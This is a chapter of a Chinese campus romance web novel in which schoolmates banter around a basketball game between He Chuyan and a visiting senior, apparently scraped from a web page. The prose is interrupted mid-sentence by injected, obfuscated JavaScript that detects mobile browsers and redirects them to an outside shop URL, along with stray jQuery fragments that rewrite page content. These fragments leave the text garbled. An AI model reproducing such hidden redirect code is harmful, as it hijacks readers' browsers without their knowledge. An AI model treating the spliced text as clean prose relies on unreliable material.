关子啸咬牙低声说:“你别推我啊!你自己惹的事情,自己想办法解决!” “兄弟江湖救急啊!你刚刚不是也讨论得很有劲吗!” 啪——啪—— 两声清脆的拍掌声。 贺初衍手掌交叠到一处。 一副饶有兴致看狗咬狗的模样。 “怎么去了这么久,啸天你在干什么!” 黄旸昊被打发来找失踪分子,结果直对上三道目光,瞬间感知到这股萦绕在空气中不同寻常的氛围。 刚刚迈进门的左脚,又默默缩回去。 “那个,你们慢慢聊……” 关子啸活像是看到了绝世救星,大步迈上前,一把亲热地揽过黄旸昊的肩膀。 “兄弟我们这就来喽!” 扭头冲着贺初衍喊:“贺哥,走吧,别让他们等久了!” 而惨遭忽视的刘晟:“是要打球赛吗?我也去!” 又狗腿地献殷勤:“贺哥,我帮您拿篮球!” - 池半夏把习题册搬到了数学组,而陆慕齐被经过的化学老师顺走了。 走之前不巧遇到回来的李伟立,被留下来谈话。 “池半夏,最近你的小测成绩很不错。” 李伟立喝了口热腾腾的红枣枸杞茶,他心情好的时候,尤其话多爱唠叨。 “之前试听的作文课怎么样?合不合适?” 池半夏说:“挺合适的,老师讲的很好,我打算周末去报名。” 李伟立连连笑道:“合适就行,你上心作文是好事。” 池半夏刚想点头,突然看到窗外冲她疯狂摆动的手掌。 再一看,是探出半张脸的陈文熙。 李伟立看到女孩神情微顿,下意识扭头想看过去。 “李老师!” 池半夏叫得有些急,没能控制住音量。 李伟立被突然对着唬了声,注意力一时被拉回。 池半夏火速开口:“李老师,我想起还有题目要去问英语老师。” 随口胡诌了个理由。 李伟立也不疑有它,只说:“去吧。” 池半夏走之前,抬眼看了眼窗外。 刚刚还鬼鬼祟祟探出的脑袋和手掌,早就缩了回去。 池半夏关上办公室的门,才发现走廊竟然空无一人。 只是刚走到拐角,就被陈文熙急忙拉过手臂:“半夏,我们快走吧,要来不及了!” 池半夏被拉着狂奔下楼梯。 “去哪啊,这么急?” “去篮球场!” 池半夏有种不好的预感:“你不会要跟我说,我们现在赶着去看贺初衍的球赛吧?” 陈文熙完全没有一秒犹豫:“对啊!” 池半夏痛心疾首:“陈文熙同学,你怎么变庸俗了!” 陈文熙头都没回:“放心,只是顺便瞧瞧你同桌,最重要的是听说三班请了外援,听前线来报,是个极品帅哥!” “去晚了就没好位置了!” 池半夏知道陈文熙是个不折不扣的颜控,而且最近她的数学小测效果不是很好,压力大得堆大白兔奶糖的频率,从一天堆三次到了一天堆七次。 她正想着怎么安慰前桌。 没想到刚好有热闹凑,瞬间又变回那个活泼元气的陈文熙了。 - 球场周围异常热闹,已经聚集了不少的人。 池半夏感叹道:“果然大家都压抑久了,都这么变态了,一个小小的球赛,弄得像宇宙大爆炸现场。” 陈文熙说:“没办法,谁叫你同桌人气那么高,本来就盘靓条顺,打球还帅。” 池半夏:“……” 身边的朋友们都是某人的颜吹,真的是件很无助绝望的事情。 “还有没见过的帅哥可以看,多新鲜啊!” 陈文熙一直朝着人群里看,突然猛地晃起她的手臂。 “哎哎哎!” 池半夏早就习惯朋友的一惊一乍:“又怎么了?陈文熙同学,你有必要控制一下自己的开水壶特技。” “你同桌的桃花运真是爆表啊。” 陈文熙眼睛都亮了:“这是从哪来的漂亮小姐姐,半夏,好像还看起来跟你有点像,怎么从来没见过……” 池半夏循着陈文熙指的方向看去。 女孩一身茉色长裙,浅浅勾勒美好身形,微风轻扬起漂亮短发,侧脸白皙,身前还挂着个相机。 而站在一旁的少年,手里拿着瓶冰矿泉水,侧身听女孩说话,时不时勾唇。 几秒内,陈文熙后知后觉反应过来,自己刚刚的语气是不是过于太惊喜。 刚想开口补救一下,刚转头,身边就冲出一道白色影子。 直扑进漂亮小姐姐的怀里。 陈文熙:“?” “檬檬姐!” 池半夏语气开心:“你怎么来了?都不给我发消息?” “朋友……临时拉来的。”池檬微弯眼眸,把手里的冰镇橘子汽水递给池半夏,“也想着给你一个惊喜嘛。” “真的很惊喜。”池半夏往旁边挪了挪,趁机挤掉贺初衍的位置,“不过檬檬姐,有些人你别对他太好了,不然会蹬鼻子上脸的。” “确实。”贺初衍语气轻飘飘的,“檬檬姐就是对某人太好了。” “对我好不是很正常?”池半夏唇角得意翘起,“我可是檬檬姐的亲堂妹,不像某人,毕竟是个外人。” 池檬被池半夏亲昵地挽住手臂。 不远处球场有人高声叫人。 贺初衍只留下声轻嗤就走了。 “啧。”池半夏学着贺初衍的语气,孩子气地撇了撇嘴,“整天拽得跟欠了他五百万似的。” 池檬很习惯这对青梅竹马各种由头都能互怼起来的习惯,微抿唇角笑了笑。 “你们关系还是这么亲。” “哪里就亲了?” 池半夏下意识反驳,转眼,对上陈文熙巴巴的目光。 突然意识到忽略了亲爱的前桌,连忙转移话题:“陈文熙,我的同桌。” “这是我的堂姐池檬,檬檬姐。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634146|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陈文熙很自来熟:“檬檬姐好,你长得好好看,我刚刚看你跟半夏有点像,差点都想问你们是不是亲姐妹了?这么漂亮可爱的小姐姐来我们一中,简直是蓬荜生辉。” 池檬有些不好意思:“多谢陈同学,你很可爱,其实我很早就想来一中看看了。” 池半夏打岔,无情吐槽:“你们两个现在特别像那种十级尬聊现场。” 陈文熙和池檬都笑了笑。 陈文熙转而问起:“对了,檬檬姐,听说今天来了个极品帅哥外援,是不是跟你们一块来的?” 池檬问:“是说……宋学长吗?” “宋学长?”陈文熙疑惑的语气,突然变得激动起来,“那不是附中的宋学长吗?” 池半夏和池檬被她一嗓子吸引注意力,也朝着球场看去。 却看到一道意想不到的身影。 少年身高腿长,接过对方抛来的篮球,冷白小臂紧实弓起。 侧眸瞥来时,他的五官很深,难以招架的冷淡劲。 却在对上目光的瞬间,漆黑眼眸似是掠过几分笑意。 但仅仅是瞬间,陈文熙又不能确定刚刚看到的笑,是不是生出的幻觉。 “刚刚是在看我们……这里吗?” 旁边的女孩笑着远远招手,陈文熙花了几秒,才意识到是在叫身边的池檬。 “檬檬姐,有人叫你呢。” 池檬脸颊薄红,慢了几拍才反应过来:“那我先过去了。” “半夏,一会一起吃晚饭。陈同学,要一起来吗?” 陈文熙立马:“要的要的!” 池半夏也点了点头:“檬檬姐,一会见。” 直到池檬走到远处球场。 池半夏难得感叹:“我只听你说来的外援是个极品大帅哥,没想到竟然是这位大神。我高一的时候,他就是恐怖的数竞大神了,后面他退出数竞组,我还以为听到了假消息,果然大神还是大神,今年还是理科的省状元。” 陈文熙当然知道这位大神的事迹,只是没想到,池半夏这个日常对美貌免疫的数学脑,竟然对别人能有这么高的评价。 很好奇发问:“那你觉得跟你同桌,哪个更帅啊?” 池半夏喝了口冰镇橘子汽水,没有丝毫犹豫:“学数学的帅哥,明显比学物理的某人,更具有极品的潜力。” 陈文熙:“……” 第一次听人判断帅不帅,是用数学和物理比较。 果然数学脑人设不倒。 “能有多帅?” 池半夏被吓了一跳,没想到这人竟然去而复返。 手一时松劲,握着的冰镇汽水往侧边倒去。 横过来的手,直直绕过女孩后腰,托住她的手背。 将歪斜的汽水瓶稳稳扶正。 池半夏下意识偏头。 他们离得很近,目光就这样瞬间对视上。 树荫下树影晃动,蝉鸣疯狂聒噪作响。 樟树粗壮树身的遮挡下,少年侧身,半弯着腰,像是把女孩半护在怀里。 风轻扬起白色发带,斑驳光亮溅上恣意眉眼,侧脸勾勒一层耀眼光晕。 不小心溅落在地上的橙色液体,还在冒着滋啦的泡沫冷气。 就连鼻尖掠过的微风,都好似沾上这股香甜气味。 池半夏别扭挪开目光:“我男神……也就比姓贺的某人,帅了很多很多很多而已。” 白皙耳朵尖渗了点红。 像是儿时外婆邻居家抖耳朵的小奶猫。 随着混在喉咙里的一声低笑。 横过后腰的手臂收回。 “贺哥,快来!” 远远传来催促的喊声。 池半夏抬眼。 少年已然大步迈出去。 偏头时,侧脸张扬又耀眼。 “大小姐,等着我把你男神打下场。” 池半夏握着那瓶冰镇汽水,就连凝结的水雾从指尖滴落,都没能反应过来。 后腰似乎还残留着那股发烫温度。 怎么回事?她是不是热得产生幻觉了? 这人好像是真的……有点帅。 11. 球赛 池半夏还愣愣站在原地。 莫名感觉到旁边牢牢锁定自己的视线。 转眼,对上一道幽幽发亮的目光。 陈文熙迫不及待地开口:“刚刚……” 池半夏矢口否认:“没有刚刚。” 陈文熙迅速拉近身形,紧紧拽住她的手臂:“刚刚!刚刚!刚刚!” “拒绝复读机行为!”池半夏立刻转移起话题,“陈文熙同学,我刚刚看到你是从几步之外跳过来的。这说明了一个很严重的问题,刚刚在危险来临时,你第一时间抛弃了你的同伴。” 陈文熙张嘴,装作一嘴的翻译腔:“哦,我亲爱的半夏宝贝!哦!我的上帝啊!我对你的爱天地可鉴!” “这件事你要相信我,我肯定可以事后给你解释。但是我还是真的真的真的很好奇,我刚刚两只眼睛,清清楚楚地看见了,你们是不是抱——” 池半夏猛地捂住陈文熙的嘴唇。 陈文熙顿时瞪大眼眸:“唔……刚唔……%&!!!” “陈世美同学,请停止你的渣言渣语。” 池半夏目光威胁:“你刚、刚、绝对是看错了。” 陈文熙连眨了几下眼睛,又连点了好几下头。 一副乖巧的模样。 池半夏刚放下手,又看到陈文熙嘴唇翕动,转身找借口就走。 “我去买瓶水喝。” 身后传来遗憾的声音:“你明明还没有喝完手里的汽水。” 池半夏没回头,只朝身后摆了摆手:“我想喝水了,不行吗?” “行,当然行。” - 樟树树荫下,微风晃着树影斑驳。 从不远处观望已久的关子啸,慢慢地荡了过来。 朝着陈文熙搭话:“我前几天看过一个大自然纪录片,讲的是雄狮为了获取雌狮的关注,圈占地盘,残暴驱逐其他入侵雄狮的故事。” 陈文熙深有同感地点头:“我也看了一个大自然纪录片,讲的是雄孔雀为了获取雌孔雀的关注,拼命开屏求偶。” “好巧,我也看了一个大自然纪录片。” 身后突然传来声音。 关子啸一时没反应过来声音的主人,兴致冲冲地说:“您请讲。” 下一秒,被狠狠掐了把手臂。 关子啸吃痛,险些就哀嚎出声,转眼对上陈文熙看傻子的怜悯目光。 被狗吃了的反应,后知后觉地回笼。 关子啸回头,直对上笑吟吟的池半夏,压根就没去买水。 顿时露出谄媚的笑容:“夏姐,您有何高见啊?” 池半夏说:“我看的纪录片跟你们都不太一样。” 关子啸配合地捧哏:“哪不一样?” 池半夏笑容和煦:“讲的是一代传奇黑寡妇雌蜘蛛捕食吃掉雄蜘蛛的故事。” 关子啸:“!” 三十五度的高温,他竟然感觉到一种诡异的细思极恐。 陈文熙连忙转移话题:“这场上好像打得异常凶猛啊。” “等下,啸天,你怎么不上?” “你也说异常激烈了。”关子啸紧紧抱住自己一米八五的高大身躯,“我怕被恐怖激烈的战况波及。” 池半夏也看向球场。 以她对篮球无感、门外汉的水平来看,场上的局势明显被姓贺的某人和宋学长牢牢把控。 越过重重封锁的少年,乌黑发梢冒着濡湿的尖头,炫目的烈阳沥在瘦削脊背,跑动中,白色发带在半空划过一道耀眼斜线。 跃起投篮的瞬间,白色衣角掀起,露出一截劲瘦腰腹。 不同于往的日散漫,打得又狠又凶。 顿时引起场下一阵尖叫欢呼。 脑海里突然响起刚刚这人说的那句。 “大小姐,等着我把你的男神打下场。” 这种水平。 的确有轻狂的资本。 看来平常是真的没怎么下过狠手。 还在想着,池半夏对上越过嘈杂人群的直直而来的目光。 贺初衍微挑眉梢。 张扬轻狂,意气风发。 顿时引起人群又一阵起哄骚动。 “贺哥你别太骚!” “对谁挑眉呢,公孔雀开屏是吧!” “被贺哥电到了,求对伦家负责!” “靠,恶不恶心,让我来为民除害,替贺哥消灭你!” “怎么不代表月亮呢,你当你美少女战士啊!鲨人了!!救命啊!!!” …… 而引起混乱的罪魁祸首,将手里的球远远一抛。 在半空划出一道漂亮的抛物线。 池半夏在心里暗骂道。 骚包。 - 场上比分异常焦灼,始终在你赶我超。 下课铃响起的时候,贺初衍手里抛出去的球正划过半空。 哐当——落进篮筐。 一个极其漂亮的三分球。 可惜以铃声响起的时间为界限。 还是以一分之差惜败。 贺初衍平日里散漫惯了,罕见输了局球赛,倒是没什么大的反应。 还走近,跟劲敌宋学长击了个掌。 远远看着,两人像是说了句什么。 脸上竟然隐隐带着笑。 看着颇有种相见恨晚的感觉。 关子啸却比当事人还要激动:“可惜了,阿衍刚刚那个三分球真的很极限,就是最后的配合没有做好,那球要是之前没被拦截那么久,我们就能成功反超比分了!” 陈文熙在旁边安慰他:“啸天,我知道你很激动,但你先别激动。” 关子啸眼露迷茫:“?”那他该干什么? 陈文熙顺手抢劫了经过同学的一瓶矿泉水,霸气地拧开瓶盖,一把塞到了关子啸怀里。 用动作来告诉他该做什么。 ——闭嘴,吵到她耳朵了。 关子啸刚喝了口水,就看到大步走下场的贺初衍,被半路的送水小学妹拦截了。 然后不负众望地拒绝了。 他忍不住感叹道:“真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634147|143697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坚持不懈啊。” “要是我面对这样一个铜墙铁壁油盐不进的人,就算是大美女,我也提不起劲来。” 要知道他贺哥,这么多年拒绝人起来,完全就是不留情面。 池半夏和陈文熙也见惯了这场面。 还对此聊起来。 “哎,别说,你同桌这Pokerface(扑克脸),那股拽王劲真是拿捏得死死的。” “无他,唯装能尔,artificial(矫揉造作的)。” 关子啸默默挪开一小段距离。 这俩人这种大声密谋的程度,很怕被他贺哥误伤。 池半夏抬眼,就看到讨论的当事人,直直走到她面前。 高大身影在身前罩下阴影,扑来一股运动完的滚烫热气。 她刚想开口,又看到这人就转而坐到灌木丛的护石高台上。 贺初衍微仰着头,濡湿的乌黑额发被风轻扬起,开口就是:“大小姐,我的球赛输了。” 池半夏:“?” 不是,刚刚这人不是那么张狂嚣张地要说把她的“男神”打下场吗? 池半夏还没回神。 贺初衍又说:“也没有人给我送水喝。” 池半夏:“??” 不是,刚刚明明就有人给他送水,是当她这个观众瞎了吗? 池半夏还在震惊中。 贺初衍瞥了眼关子啸手里的水,又重新直直看向她:“哦,别人同桌都有水。” 池半夏:“???” 不是,就是打了个球,怎么就被不明生物魂穿了? 这种幽怨、委屈巴巴的目光和语气,到底是怎么回事啊…… 而逃离直击现场的陈文熙和关子啸,两个脑袋快要靠在一起,活像特务接头。 小声密谋起眼前一幕。 陈文熙震撼:“这是受什么刺激了?活久见了,拽王竟然低头了。” 关子啸沉思:“以我这么多年的经验来看,这莫非就是传说中的欲擒故纵,以退为进?” 陈文熙发出灵魂质问:“以你这么多年牡丹的经验来看?” 关子啸顿时不满:“哎,你这要把天聊死啊?还聊不聊?” 陈文熙:“不聊就不聊。” 关子啸:“姑奶奶,算我求您聊。” 陈文熙也很好哄:“好像一只诱拐小白兔的大尾巴狼。” 关子啸深表同意:“玩心机的男人心都脏。” “太诡计多端了。” “太不是人了。” …… 而不远处的池半夏,显然还没有从拽王突然示弱的骗局里清醒过来。 “喏。” 池半夏拿出口袋里的袋装西梅汁。 这可是她最爱的味道,给人还有些舍不得呢。 贺初衍瞥着伸到眼前的手掌:“什么?” “你不是渴了?” 池半夏看着脚尖晃动树影,黑白分明的眼眸落进微光,脸颊薄红,有些不自然地开口。 “给你喝。”